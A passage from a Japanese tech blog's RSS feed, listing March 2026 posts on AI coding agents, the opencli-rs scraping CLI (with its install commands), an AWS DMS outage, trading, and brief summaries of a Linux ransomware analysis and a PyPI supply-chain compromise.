+0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/pay2key-%E3%81%AE-linux-%E3%83%A9%E3%83%B3%E3%82%B5%E3%83%A0%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%8C-x64/arm64-%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC%E3%82%92%E6%A8%99%E7%9A%84%E3%81%AB-%E9%98%B2%E5%BE%A1%E6%A9%9F%E6%A7%8B%E3%82%92%E7%84%A1%E5%8A%B9%E5%8C%96%E3%81%99%E3%82%8B%E9%AB%98%E5%BA%A6%E3%81%AA%E6%89%8B%E5%8F%A3/</guid><description>イラン系攻撃グループ Pay2Key の Linux ランサムウェア新亜種 Pay2Key.I2P の技術分析。SELinux/AppArmor 無効化、ChaCha20 暗号化、I2P 匿名通信の手口と対策を解説。</description></item><item><title>利確はセンスではなく、設計で上手くなる</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E5%88%A9%E7%A2%BA%E3%81%AF%E3%82%BB%E3%83%B3%E3%82%B9%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%8F%E8%A8%AD%E8%A8%88%E3%81%A7%E4%B8%8A%E6%89%8B%E3%81%8F%E3%81%AA%E3%82%8B/</link><pubDate>Mon, 30 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E5%88%A9%E7%A2%BA%E3%81%AF%E3%82%BB%E3%83%B3%E3%82%B9%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%8F%E8%A8%AD%E8%A8%88%E3%81%A7%E4%B8%8A%E6%89%8B%E3%81%8F%E3%81%AA%E3%82%8B/</guid><description>トレードで最も難しい利確を、感情ではなく設計で上手くする4つのテクニックを紹介。逆ポジ質問、50/50決済、前提固定利確など、納得できる利確ルールの作り方を解説します。</description></item><item><title>「値は計算されていた。ただ届いていなかっただけ」— LLMエージェントプロンプトのハードコード問題</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E5%80%A4%E3%81%AF%E8%A8%88%E7%AE%97%E3%81%95%E3%82%8C%E3%81%A6%E3%81%84%E3%81%9F%E3%81%9F%E3%81%A0%E5%B1%8A%E3%81%84%E3%81%A6%E3%81%84%E3%81%AA%E3%81%8B%E3%81%A3%E3%81%9F%E3%81%A0%E3%81%91-llm%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88%E3%81%AE%E3%83%8F%E3%83%BC%E3%83%89%E3%82%B3%E3%83%BC%E3%83%89%E5%95%8F%E9%A1%8C/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E5%80%A4%E3%81%AF%E8%A8%88%E7%AE%97%E3%81%95%E3%82%8C%E3%81%A6%E3%81%84%E3%81%9F%E3%81%9F%E3%81%A0%E5%B1%8A%E3%81%84%E3%81%A6%E3%81%84%E3%81%AA%E3%81%8B%E3%81%A3%E3%81%9F%E3%81%A0%E3%81%91-llm%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88%E3%81%AE%E3%83%8F%E3%83%BC%E3%83%89%E3%82%B3%E3%83%BC%E3%83%89%E5%95%8F%E9%A1%8C/</guid><description>LLMエージェントのプロンプトにリスクパラメータがハードコードされていたため、動的調整が反映されなかったバグの原因と修正。テンプレート変数化、結合テスト、CLAUDE.mdルール追加による再発防止策を解説。</description></item><item><title>Anthropic の3エージェント・ハーネス設計: Claude が6時間でフルアプリを自律構築する仕組み</title><link>https://hdknr.github.io/blogs/posts/2026/03/anthropic-%E3%81%AE3%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%83%8F%E3%83%BC%E3%83%8D%E3%82%B9%E8%A8%AD%E8%A8%88-claude-%E3%81%8C6%E6%99%82%E9%96%93%E3%81%A7%E3%83%95%E3%83%AB%E3%82%A2%E3%83%97%E3%83%AA%E3%82%92%E8%87%AA%E5%BE%8B%E6%A7%8B%E7%AF%89%E3%81%99%E3%82%8B%E4%BB%95%E7%B5%84%E3%81%BF/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/anthropic-%E3%81%AE3%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%83%8F%E3%83%BC%E3%83%8D%E3%82%B9%E8%A8%AD%E8%A8%88-claude-%E3%81%8C6%E6%99%82%E9%96%93%E3%81%A7%E3%83%95%E3%83%AB%E3%82%A2%E3%83%97%E3%83%AA%E3%82%92%E8%87%AA%E5%BE%8B%E6%A7%8B%E7%AF%89%E3%81%99%E3%82%8B%E4%BB%95%E7%B5%84%E3%81%BF/</guid><description>Anthropic が公開した3エージェント・ハーネス設計を解説。Planner・Generator・Evaluator の役割分担と、Playwright による実アプリテストで、Claude が6時間でフルアプリを自律構築する仕組み。</description></item><item><title>OpenClaw で YouTube 運用を全自動化? 「月1000万円」の主張を技術的に検証する</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw-%E3%81%A7-youtube-%E9%81%8B%E7%94%A8%E3%82%92%E5%85%A8%E8%87%AA%E5%8B%95%E5%8C%96-%E6%9C%881000%E4%B8%87%E5%86%86%E3%81%AE%E4%B8%BB%E5%BC%B5%E3%82%92%E6%8A%80%E8%A1%93%E7%9A%84%E3%81%AB%E6%A4%9C%E8%A8%BC%E3%81%99%E3%82%8B/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw-%E3%81%A7-youtube-%E9%81%8B%E7%94%A8%E3%82%92%E5%85%A8%E8%87%AA%E5%8B%95%E5%8C%96-%E6%9C%881000%E4%B8%87%E5%86%86%E3%81%AE%E4%B8%BB%E5%BC%B5%E3%82%92%E6%8A%80%E8%A1%93%E7%9A%84%E3%81%AB%E6%A4%9C%E8%A8%BC%E3%81%99%E3%82%8B/</guid><description>&lt;p&gt;「1ヶ月後のYouTubeはOpenClawが全て運用し『月1000万円』収益を上げるアカウントが大量発生する」——こんな投稿が X（旧 Twitter）で話題になっています。本当にそこまでできるのか、OpenClaw の技術的な能力と YouTube 運用の現実を照らし合わせて検証します。&lt;/p&gt;
&lt;h2 id="元の主張の要約"&gt;元の主張の要約&lt;/h2&gt;
&lt;p&gt;X ユーザー &lt;a href="https://x.com/gagarot200"&gt;@gagarot200&lt;/a&gt; の投稿では、以下のような主張がなされています:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;海外では既に 2000 万円を稼いでいるケースがある&lt;/li&gt;
&lt;li&gt;勝負のポイントは編集技術ではなく「企画設計」「視聴維持率」「CTR改善」「投稿導線の最適化」&lt;/li&gt;
&lt;li&gt;OpenClaw で競合分析→台本生成→素材選定→動画編集→サムネイル量産→投稿→数値分析を一気通貫で回せる&lt;/li&gt;
&lt;li&gt;個人でもチーム運用レベルの全自動化が可能&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="openclaw-とは"&gt;OpenClaw とは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/openclaw/openclaw"&gt;OpenClaw&lt;/a&gt; は、GitHub で 34 万スター以上を獲得しているオープンソースの AI エージェントフレームワークです。ローカルマシン上で動作し、ブラウザ操作・ファイル読み書き・シェルコマンド実行・cron ジョブなどを自律的に実行できます。WhatsApp、Telegram、Slack、Discord など多数のメッセージングプラットフォームに対応しています。&lt;/p&gt;
&lt;h2 id="技術的にできることとできないこと"&gt;技術的に「できること」と「できないこと」&lt;/h2&gt;
&lt;h3 id="openclaw-で実現可能な部分"&gt;OpenClaw で実現可能な部分&lt;/h3&gt;
&lt;p&gt;OpenClaw の Skills（プラグイン）機能とブラウザ自動化を組み合わせると、以下のタスクは技術的に実現可能です:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;タスク&lt;/th&gt;
&lt;th&gt;実現方法&lt;/th&gt;
&lt;th&gt;実用度&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;競合チャンネル分析&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;YouTube Data API + ブラウザスクレイピング&lt;/td&gt;
&lt;td&gt;◎&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;台本生成&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;LLM による構成生成&lt;/td&gt;
&lt;td&gt;◎&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;サムネイル量産&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;画像生成 AI + テンプレート自動適用&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;投稿スケジューリング&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;YouTube Data API / ブラウザ自動化&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;数値分析・レポート&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;YouTube Analytics API からのデータ取得・分析&lt;/td&gt;
&lt;td&gt;◎&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CTR / 視聴維持率の改善提案&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;分析データを LLM にフィードバック&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="現状では難しい部分"&gt;現状では難しい部分&lt;/h3&gt;
&lt;p&gt;一方で、以下の部分には大きなハードルがあります:&lt;/p&gt;</description></item><item><title>opencli-rs: Rust製の爆速Webスクレイピングツールで55以上のサイトをCLI化する</title><link>https://hdknr.github.io/blogs/posts/2026/03/opencli-rs-rust%E8%A3%BD%E3%81%AE%E7%88%86%E9%80%9Fweb%E3%82%B9%E3%82%AF%E3%83%AC%E3%82%A4%E3%83%94%E3%83%B3%E3%82%B0%E3%83%84%E3%83%BC%E3%83%AB%E3%81%A755%E4%BB%A5%E4%B8%8A%E3%81%AE%E3%82%B5%E3%82%A4%E3%83%88%E3%82%92cli%E5%8C%96%E3%81%99%E3%82%8B/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/opencli-rs-rust%E8%A3%BD%E3%81%AE%E7%88%86%E9%80%9Fweb%E3%82%B9%E3%82%AF%E3%83%AC%E3%82%A4%E3%83%94%E3%83%B3%E3%82%B0%E3%83%84%E3%83%BC%E3%83%AB%E3%81%A755%E4%BB%A5%E4%B8%8A%E3%81%AE%E3%82%B5%E3%82%A4%E3%83%88%E3%82%92cli%E5%8C%96%E3%81%99%E3%82%8B/</guid><description>&lt;p&gt;&lt;a href="https://github.com/nashsu/opencli-rs"&gt;opencli-rs&lt;/a&gt; は、55以上の主要サイトに対応したRust製のCLIツールです。サイトごとにAPIやスクレイピング方法が異なる煩雑さを解消し、1つのコマンドで各プラットフォームの情報を取得できます。&lt;/p&gt;
&lt;h2 id="opencli-rs-とは"&gt;opencli-rs とは&lt;/h2&gt;
&lt;p&gt;opencli-rs は、元々TypeScriptで実装されていた OpenCLI をRustで完全に書き直したツールです。X (Twitter)、YouTube、Reddit、Hacker News、Bilibili、Zhihu、Xiaohongshu（小紅書）など多数のプラットフォームに対応しています。Chromeのログインセッションを再利用するため、APIキーなしでデータを取得できます。&lt;/p&gt;
&lt;p&gt;出力形式はテーブル、JSON、YAML、CSV、Markdownに対応しており、用途に応じて使い分けが可能です。また、Electronベースのデスクトップアプリをコマンドラインから制御する機能も備えており、GUIアプリの操作をスクリプト化できます。&lt;/p&gt;
&lt;h3 id="主な特徴"&gt;主な特徴&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;処理速度が最大12倍に向上&lt;/strong&gt; — TypeScript版と比較して大幅な高速化（例: Bilibili Hot の取得が20.1秒から1.66秒に）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;メモリ使用量を10分の1に削減&lt;/strong&gt; — 95-99MBから9-15MBへ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;シングルバイナリで動作&lt;/strong&gt; — わずか4.7MB、追加のランタイム不要でどの環境にも導入可能&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="インストール"&gt;インストール&lt;/h2&gt;
&lt;p&gt;インストールスクリプトが用意されており、システムとアーキテクチャを自動検出してバイナリをダウンロードします。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -fsSL https://raw.githubusercontent.com/nashsu/opencli-rs/main/scripts/install.sh | sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Rustの開発環境がある場合はソースからビルドすることもできます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone https://github.com/nashsu/opencli-rs.git
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd opencli-rs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cargo build --release
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="aiエージェントとの連携"&gt;AIエージェントとの連携&lt;/h2&gt;
&lt;p&gt;opencli-rs はAIエージェントとの連携を前提に設計されています。Claude Code や Cursor などに組み込むことで、「Hacker Newsのトップ記事を取得して要約する」「競合のX投稿を定期的にチェックする」といったWeb情報収集の自動化が可能です。&lt;/p&gt;
&lt;p&gt;AIエージェント向けのスキルパッケージ &lt;a href="https://github.com/nashsu/opencli-rs-skill"&gt;opencli-rs-skill&lt;/a&gt; も提供されています。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;npx skills add https://github.com/nashsu/opencli-rs-skill
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;これにより、AIエージェントが &lt;code&gt;AGENT.md&lt;/code&gt; や &lt;code&gt;.cursorrules&lt;/code&gt; の設定を通じて利用可能なツールを自動的に検出し、自然言語でWebスクレイピングを実行できるようになります。&lt;/p&gt;</description></item><item><title>Prompt Engineering から Harness Engineering へ: AI エンジニアリングの進化と「仕組みの設計力」の時代</title><link>https://hdknr.github.io/blogs/posts/2026/03/prompt-engineering-%E3%81%8B%E3%82%89-harness-engineering-%E3%81%B8-ai-%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%83%AA%E3%83%B3%E3%82%B0%E3%81%AE%E9%80%B2%E5%8C%96%E3%81%A8%E4%BB%95%E7%B5%84%E3%81%BF%E3%81%AE%E8%A8%AD%E8%A8%88%E5%8A%9B%E3%81%AE%E6%99%82%E4%BB%A3/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/prompt-engineering-%E3%81%8B%E3%82%89-harness-engineering-%E3%81%B8-ai-%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%83%AA%E3%83%B3%E3%82%B0%E3%81%AE%E9%80%B2%E5%8C%96%E3%81%A8%E4%BB%95%E7%B5%84%E3%81%BF%E3%81%AE%E8%A8%AD%E8%A8%88%E5%8A%9B%E3%81%AE%E6%99%82%E4%BB%A3/</guid><description>Prompt Engineering → Context Engineering → Harness Engineering。AI エンジニアリングの3つのパラダイムの進化を、OpenAI・Anthropic・Martin Fowler の事例とともに解説。</description></item><item><title>PyPI公式パッケージ telnyx がサプライチェーン攻撃で汚染 — TeamPCPによるWAVステガノグラフィ攻撃の全容</title><link>https://hdknr.github.io/blogs/posts/2026/03/pypi%E5%85%AC%E5%BC%8F%E3%83%91%E3%83%83%E3%82%B1%E3%83%BC%E3%82%B8-telnyx-%E3%81%8C%E3%82%B5%E3%83%97%E3%83%A9%E3%82%A4%E3%83%81%E3%82%A7%E3%83%BC%E3%83%B3%E6%94%BB%E6%92%83%E3%81%A7%E6%B1%9A%E6%9F%93-teampcp%E3%81%AB%E3%82%88%E3%82%8Bwav%E3%82%B9%E3%83%86%E3%82%AC%E3%83%8E%E3%82%B0%E3%83%A9%E3%83%95%E3%82%A3%E6%94%BB%E6%92%83%E3%81%AE%E5%85%A8%E5%AE%B9/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/pypi%E5%85%AC%E5%BC%8F%E3%83%91%E3%83%83%E3%82%B1%E3%83%BC%E3%82%B8-telnyx-%E3%81%8C%E3%82%B5%E3%83%97%E3%83%A9%E3%82%A4%E3%83%81%E3%82%A7%E3%83%BC%E3%83%B3%E6%94%BB%E6%92%83%E3%81%A7%E6%B1%9A%E6%9F%93-teampcp%E3%81%AB%E3%82%88%E3%82%8Bwav%E3%82%B9%E3%83%86%E3%82%AC%E3%83%8E%E3%82%B0%E3%83%A9%E3%83%95%E3%82%A3%E6%94%BB%E6%92%83%E3%81%AE%E5%85%A8%E5%AE%B9/</guid><description>PyPI公式パッケージ telnyx がTeamPCPのサプライチェーン攻撃で汚染。WAVステガノグラフィ手法の詳細と、Python開発者が今すぐ取るべき対策を解説。</description></item><item><title>AI疲れへのアンサー: Claude Code のハーネス機能は本当に必要か</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai%E7%96%B2%E3%82%8C%E3%81%B8%E3%81%AE%E3%82%A2%E3%83%B3%E3%82%B5%E3%83%BC-claude-code-%E3%81%AE%E3%83%8F%E3%83%BC%E3%83%8D%E3%82%B9%E6%A9%9F%E8%83%BD%E3%81%AF%E6%9C%AC%E5%BD%93%E3%81%AB%E5%BF%85%E8%A6%81%E3%81%8B/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai%E7%96%B2%E3%82%8C%E3%81%B8%E3%81%AE%E3%82%A2%E3%83%B3%E3%82%B5%E3%83%BC-claude-code-%E3%81%AE%E3%83%8F%E3%83%BC%E3%83%8D%E3%82%B9%E6%A9%9F%E8%83%BD%E3%81%AF%E6%9C%AC%E5%BD%93%E3%81%AB%E5%BF%85%E8%A6%81%E3%81%8B/</guid><description>Claude CodeのSkill・Agent・MCP・Memoryは不要でCLIで十分という主張を検証。AI疲れを避けながらハーネス機能を実用的に使い分ける方法を解説。</description></item><item><title>AWS DMS Serverless の OOM 障害と監視の盲点 — 検知漏れの根本原因と対策</title><link>https://hdknr.github.io/blogs/posts/2026/03/aws-dms-serverless-%E3%81%AE-oom-%E9%9A%9C%E5%AE%B3%E3%81%A8%E7%9B%A3%E8%A6%96%E3%81%AE%E7%9B%B2%E7%82%B9-%E6%A4%9C%E7%9F%A5%E6%BC%8F%E3%82%8C%E3%81%AE%E6%A0%B9%E6%9C%AC%E5%8E%9F%E5%9B%A0%E3%81%A8%E5%AF%BE%E7%AD%96/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/aws-dms-serverless-%E3%81%AE-oom-%E9%9A%9C%E5%AE%B3%E3%81%A8%E7%9B%A3%E8%A6%96%E3%81%AE%E7%9B%B2%E7%82%B9-%E6%A4%9C%E7%9F%A5%E6%BC%8F%E3%82%8C%E3%81%AE%E6%A0%B9%E6%9C%AC%E5%8E%9F%E5%9B%A0%E3%81%A8%E5%AF%BE%E7%AD%96/</guid><description>&lt;p&gt;AWS DMS Serverless Replication（CDC モード）が OOM（Out of Memory）で &lt;code&gt;failed&lt;/code&gt; 状態になり、自動再起動の仕組みが検知できずに長期間停止していた問題について、根本原因と対策をまとめます。&lt;/p&gt;
&lt;h2 id="構成"&gt;構成&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;RDS (MySQL) → DMS Serverless (CDC) → S3 (Parquet)
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;DMS Serverless Replication で全テーブルの CDC（Change Data Capture）を実行&lt;/li&gt;
&lt;li&gt;S3 に Parquet 形式で日付パーティション付きで出力&lt;/li&gt;
&lt;li&gt;EventBridge + Lambda で DMS 停止を検知し自動再起動する仕組みを構築済み&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="発生した事象"&gt;発生した事象&lt;/h2&gt;
&lt;h3 id="症状"&gt;症状&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;prod 環境の DMS Serverless Replication が &lt;code&gt;failed&lt;/code&gt; 状態で停止&lt;/li&gt;
&lt;li&gt;エラーメッセージ: &lt;code&gt;Replication out of memory. Stop Reason FATAL_ERROR Error Level FATAL&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;CDC が完全に停止し、S3 へのデータ同期が止まっていた&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="発覚の経緯"&gt;発覚の経緯&lt;/h3&gt;
&lt;p&gt;手動確認で発見。自動再起動 Lambda の最終実行は約2ヶ月前で、それ以降は検知されていなかった。&lt;/p&gt;
&lt;h2 id="根本原因"&gt;根本原因&lt;/h2&gt;
&lt;h3 id="原因-1-eventbridge-ルールのイベントパターンが不完全"&gt;原因 1: EventBridge ルールのイベントパターンが不完全&lt;/h3&gt;
&lt;p&gt;自動再起動用の EventBridge ルールが &lt;code&gt;REPLICATION_TASK_STOPPED&lt;/code&gt; のみを監視していた。&lt;/p&gt;</description></item><item><title>Claude Code で Laravel→Django 全自動移行をやってみた（1/3）計画編</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%A7-laraveldjango-%E5%85%A8%E8%87%AA%E5%8B%95%E7%A7%BB%E8%A1%8C%E3%82%92%E3%82%84%E3%81%A3%E3%81%A6%E3%81%BF%E3%81%9F1/3%E8%A8%88%E7%94%BB%E7%B7%A8/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%A7-laraveldjango-%E5%85%A8%E8%87%AA%E5%8B%95%E7%A7%BB%E8%A1%8C%E3%82%92%E3%82%84%E3%81%A3%E3%81%A6%E3%81%BF%E3%81%9F1/3%E8%A8%88%E7%94%BB%E7%B7%A8/</guid><description>Laravel 6 から Django 4.2 への全自動移行プロジェクトの計画編。inspectdb 方式によるモデル生成、8フェーズの段階設計、CLAUDE.md を活用した Claude Code への設計書作成手法を解説。</description></item><item><title>Claude Code で Laravel→Django 全自動移行をやってみた（2/3）自動化基盤編</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%A7-laraveldjango-%E5%85%A8%E8%87%AA%E5%8B%95%E7%A7%BB%E8%A1%8C%E3%82%92%E3%82%84%E3%81%A3%E3%81%A6%E3%81%BF%E3%81%9F2/3%E8%87%AA%E5%8B%95%E5%8C%96%E5%9F%BA%E7%9B%A4%E7%B7%A8/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%A7-laraveldjango-%E5%85%A8%E8%87%AA%E5%8B%95%E7%A7%BB%E8%A1%8C%E3%82%92%E3%82%84%E3%81%A3%E3%81%A6%E3%81%BF%E3%81%9F2/3%E8%87%AA%E5%8B%95%E5%8C%96%E5%9F%BA%E7%9B%A4%E7%B7%A8/</guid><description>Claude Code を自律実行させるための Bash フレームワーク run-issue.sh の設計を解説。Issue 駆動の実行フロー、サブエージェント活用、Pre-commit Hook と CI による品質保証の実装。</description></item><item><title>Claude Code で Laravel→Django 全自動移行をやってみた（3/3）実行結果・教訓編</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%A7-laraveldjango-%E5%85%A8%E8%87%AA%E5%8B%95%E7%A7%BB%E8%A1%8C%E3%82%92%E3%82%84%E3%81%A3%E3%81%A6%E3%81%BF%E3%81%9F3/3%E5%AE%9F%E8%A1%8C%E7%B5%90%E6%9E%9C%E6%95%99%E8%A8%93%E7%B7%A8/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%A7-laraveldjango-%E5%85%A8%E8%87%AA%E5%8B%95%E7%A7%BB%E8%A1%8C%E3%82%92%E3%82%84%E3%81%A3%E3%81%A6%E3%81%BF%E3%81%9F3/3%E5%AE%9F%E8%A1%8C%E7%B5%90%E6%9E%9C%E6%95%99%E8%A8%93%E7%B7%A8/</guid><description>15 Issue を Claude Code で自律実行した結果と教訓。5.5時間で84コミット・199テスト全パスを達成したが、ブランチ分岐問題が発生。次回に活かすべき8つの改善策を共有。</description></item><item><title>Claude Code の Auto Mode から見える AGI への道筋</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AE-auto-mode-%E3%81%8B%E3%82%89%E8%A6%8B%E3%81%88%E3%82%8B-agi-%E3%81%B8%E3%81%AE%E9%81%93%E7%AD%8B/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AE-auto-mode-%E3%81%8B%E3%82%89%E8%A6%8B%E3%81%88%E3%82%8B-agi-%E3%81%B8%E3%81%AE%E9%81%93%E7%AD%8B/</guid><description>Claude Code の auto mode はパーミッションの自動判断に留まらず、Claude 実行自体の自動化、つまり AGI への一歩と捉えられる。開発ツールの自律性がどこまで進むかを考察する。</description></item><item><title>Dexter: 